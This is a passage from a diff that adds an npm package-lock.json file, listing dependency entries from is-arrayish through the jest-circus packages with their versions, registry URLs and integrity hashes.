"url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dependencies": { + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz", + "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==", + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz", + "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==" + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==" + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-root": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.13.tgz", + "integrity": "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==", + "dependencies": { + "which-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-report/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-report/node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/istanbul-lib-report/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-report/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/iterator.prototype": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.2.tgz", + "integrity": "sha512-DR33HMMr8EzwuRL8Y9D3u2BMj8+RqSE850jfGu59kS7tbmPLzGkZmVSfyCFSDxuZiEY6Rzt3T2NA/qU+NwVj1w==", + "dependencies": { + "define-properties": "^1.2.1", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "reflect.getprototypeof": "^1.0.4", + "set-function-name": "^2.0.1" + } + }, + "node_modules/jackspeak": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.6.tgz", + "integrity": "sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jake": { + "version": "10.8.7", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jake/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jake/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jake/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jake/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jake/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jake/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jassub": { + "version": "1.7.15", + "resolved": "https://registry.npmjs.org/jassub/-/jassub-1.7.15.tgz", + "integrity": "sha512-8yKAJc++Y1gNfATOPRo3APk0JUhshKl5l7bRkT6WkJ8XP4RvYfVPb6ieH6WDxsMq523exwGzNvjjPEEWT+Z1nQ==", + "dependencies": { + "rvfc-polyfill": "^1.0.7" + } + }, + "node_modules/jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz", + "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==", + "dependencies": { + "@jest/core": "^27.5.1", + "import-local": "^3.0.2", + "jest-cli": "^27.5.1" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-changed-files": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz", + "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==", + "dependencies": { + "@jest/types": "^27.5.1", + "execa": "^5.0.0", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz", + "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^0.7.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": 